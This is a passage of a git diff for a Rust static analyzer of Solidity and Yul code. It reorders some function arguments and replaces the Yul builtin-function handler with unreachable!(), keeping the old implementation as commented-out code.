RangeOp::Neq) { - // // self.range_recursion(tmp, recursion_ops, new_rhs, ctx, loc, &mut any_unsat)?; - // } else { - // match tmp.op { - // RangeOp::Not => {} - // _ => { - // self.uninvertable_range_recursion(arena, tmp, new_lhs, new_rhs, loc, ctx); - // } - // } - // } - // } Ok(tmp_cvar) } diff --git a/crates/solc-expressions/src/variable.rs b/crates/solc-expressions/src/variable.rs index 8d2a18b0..2d0cb89c 100644 --- a/crates/solc-expressions/src/variable.rs +++ b/crates/solc-expressions/src/variable.rs @@ -349,7 +349,7 @@ pub trait Variable: AnalyzerBackend + Size loc: Some(loc), name: name.to_string(), display_name: name.to_string(), - storage: storage.as_ref().map(|s| s.clone().into()), + storage, is_tmp: false, is_symbolic: true, tmp_of: None, diff --git a/crates/solc-expressions/src/yul/yul_builder.rs b/crates/solc-expressions/src/yul/yul_builder.rs index b85b7e81..c58073f0 100644 --- a/crates/solc-expressions/src/yul/yul_builder.rs +++ b/crates/solc-expressions/src/yul/yul_builder.rs @@ -5,7 +5,7 @@ use crate::ExpressionParser; use graph::{ elem::Elem, nodes::{BuiltInNode, Builtin, Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet}, - AnalyzerBackend, ContextEdge, Edge, Node, SolcRange, VarType, + AnalyzerBackend, ContextEdge, Edge, SolcRange, VarType, }; use shared::{ExprErr, IntoExprErr, RangeArena}; diff --git a/crates/solc-expressions/src/yul/yul_cond_op.rs b/crates/solc-expressions/src/yul/yul_cond_op.rs index 47a28cc8..ec34276f 100644 --- a/crates/solc-expressions/src/yul/yul_cond_op.rs +++ b/crates/solc-expressions/src/yul/yul_cond_op.rs @@ -214,7 +214,7 @@ pub trait YulCondOp: let rhs_paths = ExprRet::Single(ContextVarNode::from(self.add_node(tmp_true)).into()); - self.handle_require_inner(arena, ctx, loc, true_cvars, &rhs_paths, RangeOp::Gt)?; + self.handle_require_inner(arena, ctx, true_cvars, &rhs_paths, RangeOp::Gt, loc)?; } ExprRet::Multi(ref true_paths) => { // TODO: validate this @@ -248,7 +248,7 @@ pub trait YulCondOp: let rhs_paths = ExprRet::Single(ContextVarNode::from(self.add_node(tmp_true)).into()); - self.handle_require_inner(arena, ctx, loc, false_cvars, &rhs_paths, RangeOp::Eq)?; + self.handle_require_inner(arena, ctx, false_cvars, &rhs_paths, RangeOp::Eq, loc)?; } ExprRet::Multi(ref false_paths) => { // TODO: validate this diff --git a/crates/solc-expressions/src/yul/yul_funcs.rs b/crates/solc-expressions/src/yul/yul_funcs.rs index 82f2a4f4..894531e2 100644 --- a/crates/solc-expressions/src/yul/yul_funcs.rs +++ b/crates/solc-expressions/src/yul/yul_funcs.rs @@ -26,685 +26,671 @@ pub trait YulFuncCaller: func_call: &YulFunctionCall, ctx: ContextNode, ) -> Result<(), ExprErr> { - let YulFunctionCall { loc, id, arguments } = func_call; - - match &*id.name { - "caller" => { - let t = self.msg_access(*loc, ctx, "sender")?; - ctx.push_expr(t, self).into_expr_err(*loc) - } - "origin" => { - let t = self.msg_access(*loc, ctx, "origin")?; - ctx.push_expr(t, self).into_expr_err(*loc) - } - "gasprice" => { - let t = self.msg_access(*loc, ctx, "gasprice")?; - ctx.push_expr(t, self).into_expr_err(*loc) - } - "callvalue" => { - let t = self.msg_access(*loc, ctx, "value")?; - ctx.push_expr(t, self).into_expr_err(*loc) - } - "pop" => { - let _ = ctx.pop_expr_latest(*loc, self).into_expr_err(*loc)?; - Ok(()) - } - "hash" | "basefee" | "chainid" | "coinbase" | "difficulty" | "gaslimit" | "number" - | "prevrandao" | "timestamp" => { - let t = self.block_access(*loc, ctx, &id.name)?; - ctx.push_expr(t, self).into_expr_err(*loc) - } - "log0" | "log1" | "log2" | "log3" | "log4" => { - ctx.push_expr(ExprRet::Multi(vec![]), self) - .into_expr_err(*loc)?; - Ok(()) - } - "stop" | "revert" | "selfdestruct" | "invalid" => { - ctx.kill(self, *loc, KilledKind::Revert).into_expr_err(*loc) - } - "return" => { - self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(offset) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs(loc, "Yul Return had no offset".to_string())); - }; - if matches!(offset, ExprRet::CtxKilled(_)) { - ctx.push_expr(offset, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.parse_ctx_yul_expr(arena, &arguments[1], ctx)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(size) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs(loc, "Yul Return had no size".to_string())); - }; - if matches!(size, ExprRet::CtxKilled(_)) { - ctx.push_expr(size, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.return_yul(ctx, loc, size)?; - ctx.kill(analyzer, loc, KilledKind::Ended) - .into_expr_err(loc)?; - // ctx.push_expr(ExprRet::CtxKilled(KilledKind::Ended), analyzer) - // .into_expr_err(loc)?; - Ok(()) - }) - }) - } - "not" => { - if arguments.len() != 1 { - return Err(ExprErr::InvalidFunctionInput( - *loc, - format!( - "Yul function: `not` expected 1 argument found: {:?}", - arguments.len() - ), - )); - } - - self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(lhs) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - "Not operation had no element".to_string(), - )); - }; - - if matches!(lhs, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.bit_not_inner(arena, ctx, loc, lhs.flatten()) - }) - } - "add" | "sub" | "mul" | "div" | "sdiv" | "mod" | "smod" | "exp" | "and" | "or" - | "xor" | "shl" | "shr" | "sar" => { - let op = match &*id.name { - "add" => RangeOp::Add(true), - "sub" => RangeOp::Sub(true), - "mul" => RangeOp::Mul(true), - "div" | "sdiv" => RangeOp::Div(true), - "mod" | "smod" => RangeOp::Mod, - "exp" => RangeOp::Exp(true), - "and" => RangeOp::BitAnd, - "or" => RangeOp::BitOr, - "xor" => RangeOp::BitXor, - "shl" => RangeOp::Shl, - "shr" | "sar" => RangeOp::Shr, - _ => unreachable!(), - }; - - if arguments.len() != 2 { - return Err(ExprErr::InvalidFunctionInput( - *loc, - format!( - "Yul function: `{}` expects 2 arguments found: {:?}", - id.name, - arguments.len() - ), - )); - } - - let inputs: Vec = if matches!(&*id.name, "shl" | "shr" | "sar") { - // yul shifts are super dumb and are reversed. - vec![arguments[1].clone(), arguments[0].clone()] - } else { - vec![arguments[0].clone(), arguments[1].clone()] - }; - - self.parse_inputs(arena, ctx, *loc, &inputs)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(inputs) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "Yul Binary operation had no inputs".to_string(), - )); - }; - if matches!(inputs, ExprRet::CtxKilled(_)) { - ctx.push_expr(inputs, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - inputs.expect_length(2).into_expr_err(loc)?; - let inputs = inputs.as_vec(); - - // we have to cast the inputs into an EVM word, which is effectively a u256. - let word_ty = analyzer.builtin_or_add(Builtin::Uint(256)); - let cast_ty = VarType::try_from_idx(analyzer, word_ty).unwrap(); - let lhs_paths = - ContextVarNode::from(inputs[0].expect_single().into_expr_err(loc)?); - lhs_paths - .cast_from_ty(cast_ty.clone(), analyzer, arena) - .into_expr_err(loc)?; - - let rhs_paths = - ContextVarNode::from(inputs[1].expect_single().into_expr_err(loc)?); - rhs_paths - .cast_from_ty(cast_ty, analyzer, arena) - .into_expr_err(loc)?; - - analyzer.op_match( - arena, - ctx, - loc, - &ExprRet::Single(lhs_paths.latest_version(analyzer).into()), - &ExprRet::Single(rhs_paths.latest_version(analyzer).into()), - op, - false, - ) - }) - } - "lt" | "gt" | "slt" | "sgt" | "eq" => { - let op = match &*id.name { - "lt" | "slt" => RangeOp::Lt, - "gt" | "sgt" => RangeOp::Gt, - "eq" => RangeOp::Eq, - _ => unreachable!(), - }; - - if arguments.len() != 2 { - return Err(ExprErr::InvalidFunctionInput( - *loc, - format!( - "Yul function: `{}` expects 2 arguments found: {:?}", - id.name, - arguments.len() - ), - )); - } - - self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "Yul Binary operation had no right hand side".to_string(), - )); - }; - - if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - analyzer.parse_ctx_yul_expr(arena, &arguments[1], ctx)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(rhs_paths) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "Yul Binary operation had no left hand side".to_string(), - )); - }; - - if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.cmp_inner(arena, ctx, loc, &lhs_paths, op, &rhs_paths)?; - let Some(result) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "Yul Binary operation had no return".to_string(), - )); - }; - - let res = ContextVarNode::from(result.expect_single().into_expr_err(loc)?); - let next = analyzer.advance_var_in_ctx(res, loc, ctx)?; - let expr = Elem::Expr(RangeExpr::new( - Elem::from(res), - RangeOp::Cast, - Elem::from(Concrete::Uint(256, U256::zero())), - )); - - next.set_range_min(analyzer, arena, expr.clone()) - .into_expr_err(loc)?; - next.set_range_max(analyzer, arena, expr) - .into_expr_err(loc)?; - ctx.push_expr(ExprRet::Single(next.into()), analyzer) - .into_expr_err(loc) - }) - }) - } - "iszero" => { - if arguments.len() != 1 { - return Err(ExprErr::InvalidFunctionInput( - *loc, - format!( - "Yul function: `iszero` expects 1 arguments found: {:?}", - arguments.len() - ), - )); - } - - self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "Yul `iszero` operation had no input".to_string(), - )); - }; - if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - let cnode = ConcreteNode::from( - analyzer.add_node(Node::Concrete(Concrete::from(U256::from(0)))), - ); - let tmp_true = Node::ContextVar( - ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode, analyzer) - .into_expr_err(loc)?, - ); - let rhs_paths = - ExprRet::Single(ContextVarNode::from(analyzer.add_node(tmp_true)).into()); - - analyzer.cmp_inner(arena, ctx, loc, &lhs_paths, RangeOp::Eq, &rhs_paths) - }) - } - "addmod" | "mulmod" => { - let b = Builtin::Uint(256); - let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) - .into_expr_err(*loc)?; - let node = self.add_node(var); - ctx.push_expr(ExprRet::Single(node), self) - .into_expr_err(*loc)?; - Ok(()) - } - "msize" | "pc" | "mload" | "sload" | "gas" | "returndatasize" => { - // TODO: actually handle this. @MemoryModel - let b = Builtin::Uint(256); - let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) - .into_expr_err(*loc)?; - let node = self.add_node(var); - ctx.push_expr(ExprRet::Single(node), self) - .into_expr_err(*loc)?; - Ok(()) - } - "calldatacopy" => { - // TODO: actually handle this. @MemoryModel - Ok(()) - } - "calldatasize" => { - // TODO: actually handle this. @MemoryModel - let b = Builtin::Uint(256); - let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) - .into_expr_err(*loc)?; - let node = self.add_node(var); - ctx.push_expr(ExprRet::Single(node), self) - .into_expr_err(*loc)?; - Ok(()) - } - "calldataload" => { - if arguments.len() != 1 { - return Err(ExprErr::InvalidFunctionInput( - *loc, - format!( - "Yul function: `calldataload` expects 1 arguments found: {:?}", - arguments.len() - ), - )); - } - - self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "Yul `calldataload` operation had no input".to_string(), - )); - }; - // TODO: check const version - let b = Builtin::Uint(256); - let mut var = ContextVar::new_from_builtin( - loc, - analyzer.builtin_or_add(b).into(), - analyzer, - ) - .into_expr_err(loc)?; - let elem = ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); - var.display_name = format!( - "calldata[{}:{}+32]", - elem.display_name(analyzer).into_expr_err(loc)?, - elem.display_name(analyzer).into_expr_err(loc)? - ); - let node = analyzer.add_node(Node::ContextVar(var)); - ctx.push_expr(ExprRet::Single(node), analyzer) - .into_expr_err(loc) - }) - } - "keccak256" => { - let b = Builtin::Bytes(32); - let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) - .into_expr_err(*loc)?; - let node = self.add_node(var); - ctx.push_expr(ExprRet::Single(node), self) - .into_expr_err(*loc)?; - Ok(()) - } - "call" | "delegatecall" | "callcode" | "staticcall" => { - let b = Builtin::Uint(256); - let mut var = - ContextVar::new_from_builtin(*loc, self.builtin_or_add(b.clone()).into(), self) - .into_expr_err(*loc)?; - var.display_name = format!("{id}_success"); - let mut range = SolcRange::try_from_builtin(&b).unwrap(); - range.min = Elem::from(Concrete::from(U256::from(0))); - range.max = Elem::from(Concrete::from(U256::from(1))); - var.ty.set_range(range).into_expr_err(*loc)?; - let node = self.add_node(var); - ctx.push_expr(ExprRet::Single(node), self) - .into_expr_err(*loc)?; - Ok(()) - } - "create" | "create2" => { - let b = Builtin::Address; - let mut var = - ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) - .into_expr_err(*loc)?; - var.display_name = format!("{id}_success"); - let node = self.add_node(var); - ctx.push_expr(ExprRet::Single(node), self) - .into_expr_err(*loc)?; - Ok(()) - } - "returndatacopy" => { - ctx.push_expr(ExprRet::Multi(vec![]), self) - .into_expr_err(*loc)?; - Ok(()) - } - "byte" => { - let b = Builtin::Uint(8); - let var = ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) - .into_expr_err(*loc)?; - let node = self.add_node(var); - ctx.push_expr(ExprRet::Single(node), self) - .into_expr_err(*loc)?; - Ok(()) - } - "mstore" | "mstore8" => { - // TODO: improve this. Right now we are extremely pessimistic and just say we know nothing about memory variables anymore. - // We should check if the location is a reference to an existing var and update based on that - // @MemoryModel - let vars = ctx.local_vars(self).clone(); - vars.into_iter().try_for_each(|(_name, var)| { - // widen to any max range - let latest_var = var.latest_version_or_inherited_in_ctx(ctx, self); - if matches!( - latest_var.underlying(self).into_expr_err(*loc)?.storage, - Some(StorageLocation::Memory(_)) - ) { - let res = latest_var.ty(self).into_expr_err(*loc)?; - if let Some(r) = res.default_range(self).unwrap() { - let new_var = self.advance_var_in_ctx(latest_var, *loc, ctx).unwrap(); - let res = new_var - .set_range_min(self, arena, r.min) - .into_expr_err(*loc); - let _ = self.add_if_err(res); - let res = new_var - .set_range_max(self, arena, r.max) - .into_expr_err(*loc); - let _ = self.add_if_err(res); - } - } - Ok(()) - })?; - ctx.push_expr(ExprRet::Multi(vec![]), self) - .into_expr_err(*loc)?; - Ok(()) - } - "sstore" => { - if arguments.len() != 2 { - return Err(ExprErr::InvalidFunctionInput( - *loc, - format!( - "Yul function: `{}` expects 2 arguments found: {:?}", - id.name, - arguments.len() - ), - )); - } - - self.parse_inputs(arena, ctx, *loc, arguments)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(mut lhs_paths) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::InvalidFunctionInput( - loc, - "Yul `sload` operation had no inputs".to_string(), - )); - }; - - if lhs_paths.expect_length(2).into_expr_err(loc).is_err() { - return Err(ExprErr::NoRhs( - loc, - "Yul `sload` operation had no rhs".to_string(), - )); - } - let value = lhs_paths.take_one().into_expr_err(loc)?.unwrap(); - let slot = lhs_paths.take_one().into_expr_err(loc)?.unwrap(); - let cvar = ContextVarNode::from(slot.expect_single().unwrap()); - - if let Some(slot) = cvar.slot_to_storage(analyzer) { - analyzer.match_assign_sides( - arena, - ctx, - loc, - &ExprRet::Single(slot.into()), - &value, - )?; - } else { - // TODO: improve this. We now handle `slot` but should try to figure out storage layout - let vars = ctx.local_vars(analyzer).clone(); - vars.iter().try_for_each(|(_name, var)| { - // widen to any max range - let latest_var = var.latest_version(analyzer); - if matches!( - latest_var.underlying(analyzer).into_expr_err(loc)?.storage, - Some(StorageLocation::Storage(_)) - ) { - let res = latest_var.ty(analyzer).into_expr_err(loc)?; - if let Some(r) = res.default_range(analyzer).unwrap() { - let new_var = - analyzer.advance_var_in_ctx(latest_var, loc, ctx).unwrap(); - let res = new_var - .set_range_min(analyzer, arena, r.min) - .into_expr_err(loc); - let _ = analyzer.add_if_err(res); - let res = new_var - .set_range_max(analyzer, arena, r.max) - .into_expr_err(loc); - let _ = analyzer.add_if_err(res); - } - } - Ok(()) - })?; - } - Ok(()) - })?; - ctx.push_expr(ExprRet::Multi(vec![]), self) - .into_expr_err(*loc)?; - Ok(()) - } - "balance" => { - self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "Yul `balance` operation had no input".to_string(), - )); - }; - - let b = Builtin::Uint(256); - let mut var = ContextVar::new_from_builtin( - loc, - analyzer.builtin_or_add(b).into(), - analyzer, - ) - .into_expr_err(loc)?; - let elem = ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); - var.display_name = format!( - "balance({})", - elem.display_name(analyzer).into_expr_err(loc)? - ); - let node = analyzer.add_node(Node::ContextVar(var)); - ctx.push_expr(ExprRet::Single(node), analyzer) - .into_expr_err(loc) - }) - } - "selfbalance" => { - let b = Builtin::Uint(256); - let mut var = - ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) - .into_expr_err(*loc)?; - var.display_name = "selfbalance()".to_string(); - let node = self.add_node(var); - ctx.push_expr(ExprRet::Single(node), self) - .into_expr_err(*loc) - } - "address" => { - let b = Builtin::Address; - let mut var = - ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) - .into_expr_err(*loc)?; - var.display_name = "address()".to_string(); - let node = self.add_node(var); - ctx.push_expr(ExprRet::Single(node), self) - .into_expr_err(*loc) - } - "extcodesize" => { - self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "Yul `extcodesize` operation had no input".to_string(), - )); - }; - - let b = Builtin::Uint(256); - let mut var = ContextVar::new_from_builtin( - loc, - analyzer.builtin_or_add(b).into(), - analyzer, - ) - .into_expr_err(loc)?; - let elem = ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); - var.display_name = format!( - "extcodesize({})", - elem.display_name(analyzer).into_expr_err(loc)? - ); - let node = analyzer.add_node(Node::ContextVar(var)); - ctx.push_expr(ExprRet::Single(node), analyzer) - .into_expr_err(loc) - }) - } - "codesize" => { - let b = Builtin::Uint(256); - let mut var = - ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) - .into_expr_err(*loc)?; - var.display_name = "codesize()".to_string(); - let node = self.add_node(var); - ctx.push_expr(ExprRet::Single(node), self) - .into_expr_err(*loc) - } - "codecopy" => { - if arguments.len() != 3 { - return Err(ExprErr::InvalidFunctionInput( - *loc, - format!( - "Yul function: `{}` expects 3 arguments found: {:?}", - id.name, - arguments.len() - ), - )); - } - - self.parse_inputs(arena, ctx, *loc, arguments)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(_lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "Yul `codecopy` operation had no input".to_string(), - )); - }; - ctx.push_expr(ExprRet::Multi(vec![]), analyzer) - .into_expr_err(loc) - }) - } - "extcodecopy" => { - if arguments.len() != 4 { - return Err(ExprErr::InvalidFunctionInput( - *loc, - format!( - "Yul function: `{}` expects 4 arguments found: {:?}", - id.name, - arguments.len() - ), - )); - } - - self.parse_inputs(arena, ctx, *loc, arguments)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(_lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "Yul `extcodecopy` operation had no input".to_string(), - )); - }; - ctx.push_expr(ExprRet::Multi(vec![]), analyzer) - .into_expr_err(loc) - }) - } - "extcodehash" => { - self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "Yul `extcodesize` operation had no input".to_string(), - )); - }; - - let b = Builtin::Bytes(32); - let mut var = ContextVar::new_from_builtin( - loc, - analyzer.builtin_or_add(b).into(), - analyzer, - ) - .into_expr_err(loc)?; - let elem = ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); - var.display_name = format!( - "extcodehash({})", - elem.display_name(analyzer).into_expr_err(loc)? - ); - let node = analyzer.add_node(Node::ContextVar(var)); - ctx.push_expr(ExprRet::Single(node), analyzer) - .into_expr_err(loc) - }) - } - _ => Err(ExprErr::Todo( - *loc, - format!("Unhandled yul function: \"{}\"", id.name), - )), - } + unreachable!() + // let YulFunctionCall { loc, id, arguments } = func_call; + + // match &*id.name { + // "caller" => { + // let t = self.msg_access(*loc, ctx, "sender")?; + // ctx.push_expr(t, self).into_expr_err(*loc) + // } + // "origin" => { + // let t = self.msg_access(*loc, ctx, "origin")?; + // ctx.push_expr(t, self).into_expr_err(*loc) + // } + // "gasprice" => { + // let t = self.msg_access(*loc, ctx, "gasprice")?; + // ctx.push_expr(t, self).into_expr_err(*loc) + // } + // "callvalue" => { + // let t = self.msg_access(*loc, ctx, "value")?; + // ctx.push_expr(t, self).into_expr_err(*loc) + // } + // "pop" => { + // let _ = ctx.pop_expr_latest(*loc, self).into_expr_err(*loc)?; + // Ok(()) + // } + // "hash" | "basefee" | "chainid" | "coinbase" | "difficulty" | "gaslimit" | "number" + // | "prevrandao" | "timestamp" => { + // let t = self.block_access(*loc, ctx, &id.name)?; + // ctx.push_expr(t, self).into_expr_err(*loc) + // } + // "log0" | "log1" | "log2" | "log3" | "log4" => { + // ctx.push_expr(ExprRet::Multi(vec![]), self) + // .into_expr_err(*loc)?; + // Ok(()) + // } + // "stop" | "revert" | "selfdestruct" | "invalid" => { + // ctx.kill(self, *loc, KilledKind::Revert).into_expr_err(*loc) + // } + // "return" => { + // self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(offset) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs(loc, "Yul Return had no offset".to_string())); + // }; + // if matches!(offset, ExprRet::CtxKilled(_)) { + // ctx.push_expr(offset, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // analyzer.parse_ctx_yul_expr(arena, &arguments[1], ctx)?; + // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { + // let Some(size) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs(loc, "Yul Return had no size".to_string())); + // }; + // if matches!(size, ExprRet::CtxKilled(_)) { + // ctx.push_expr(size, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // analyzer.return_yul(ctx, loc, size)?; + // ctx.kill(analyzer, loc, KilledKind::Ended) + // .into_expr_err(loc)?; + // // ctx.push_expr(ExprRet::CtxKilled(KilledKind::Ended), analyzer) + // // .into_expr_err(loc)?; + // Ok(()) + // }) + // }) + // } + // "not" => { + // if arguments.len() != 1 { + // return Err(ExprErr::InvalidFunctionInput( + // *loc, + // format!( + // "Yul function: `not` expected 1 argument found: {:?}", + // arguments.len() + // ), + // )); + // } + + // self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(lhs) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { + // return Err(ExprErr::NoRhs( + // loc, + // "Not operation had no element".to_string(), + // )); + // }; + + // if matches!(lhs, ExprRet::CtxKilled(_)) { + // ctx.push_expr(lhs, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // analyzer.bit_not_inner(arena, ctx, loc, lhs.flatten()) + // }) + // } + // "add" | "sub" | "mul" | "div" | "sdiv" | "mod" | "smod" | "exp" | "and" | "or" + // | "xor" | "shl" | "shr" | "sar" => { + // let op = match &*id.name { + // "add" => RangeOp::Add(true), + // "sub" => RangeOp::Sub(true), + // "mul" => RangeOp::Mul(true), + // "div" | "sdiv" => RangeOp::Div(true), + // "mod" | "smod" => RangeOp::Mod, + // "exp" => RangeOp::Exp(true), + // "and" => RangeOp::BitAnd, + // "or" => RangeOp::BitOr, + // "xor" => RangeOp::BitXor, + // "shl" => RangeOp::Shl, + // "shr" | "sar" => RangeOp::Shr, + // _ => unreachable!(), + // }; + + // if arguments.len() != 2 { + // return Err(ExprErr::InvalidFunctionInput( + // *loc, + // format!( + // "Yul function: `{}` expects 2 arguments found: {:?}", + // id.name, + // arguments.len() + // ), + // )); + // } + + // let inputs: Vec = if matches!(&*id.name, "shl" | "shr" | "sar") { + // // yul shifts are super dumb and are reversed. + // vec![arguments[1].clone(), arguments[0].clone()] + // } else { + // vec![arguments[0].clone(), arguments[1].clone()] + // }; + + // inputs.expect_length(2).into_expr_err(loc)?; + // let inputs = inputs.as_vec(); + + // // we have to cast the inputs into an EVM word, which is effectively a u256. + // let word_ty = analyzer.builtin_or_add(Builtin::Uint(256)); + // let cast_ty = VarType::try_from_idx(analyzer, word_ty).unwrap(); + // let lhs_paths = + // ContextVarNode::from(inputs[0].expect_single().into_expr_err(loc)?); + // lhs_paths + // .cast_from_ty(cast_ty.clone(), analyzer, arena) + // .into_expr_err(loc)?; + + // let rhs_paths = + // ContextVarNode::from(inputs[1].expect_single().into_expr_err(loc)?); + // rhs_paths + // .cast_from_ty(cast_ty, analyzer, arena) + // .into_expr_err(loc)?; + + // analyzer.op_match( + // arena, + // ctx, + // loc, + // &ExprRet::Single(lhs_paths.latest_version(analyzer).into()), + // &ExprRet::Single(rhs_paths.latest_version(analyzer).into()), + // op, + // false, + // ) + // } + // "lt" | "gt" | "slt" | "sgt" | "eq" => { + // let op = match &*id.name { + // "lt" | "slt" => RangeOp::Lt, + // "gt" | "sgt" => RangeOp::Gt, + // "eq" => RangeOp::Eq, + // _ => unreachable!(), + // }; + + // if arguments.len() != 2 { + // return Err(ExprErr::InvalidFunctionInput( + // *loc, + // format!( + // "Yul function: `{}` expects 2 arguments found: {:?}", + // id.name, + // arguments.len() + // ), + // )); + // } + + // self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs( + // loc, + // "Yul Binary operation had no right hand side".to_string(), + // )); + // }; + + // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + + // analyzer.parse_ctx_yul_expr(arena, &arguments[1], ctx)?; + // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(rhs_paths) = + // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs( + // loc, + // "Yul Binary operation had no left hand side".to_string(), + // )); + // }; + + // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // analyzer.cmp_inner(arena, ctx, loc, &lhs_paths, op, &rhs_paths)?; + // let Some(result) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs( + // loc, + // "Yul Binary operation had no return".to_string(), + // )); + // }; + + // let res = ContextVarNode::from(result.expect_single().into_expr_err(loc)?); + // let next = analyzer.advance_var_in_ctx(res, loc, ctx)?; + // let expr = Elem::Expr(RangeExpr::new( + // Elem::from(res), + // RangeOp::Cast, + // Elem::from(Concrete::Uint(256, 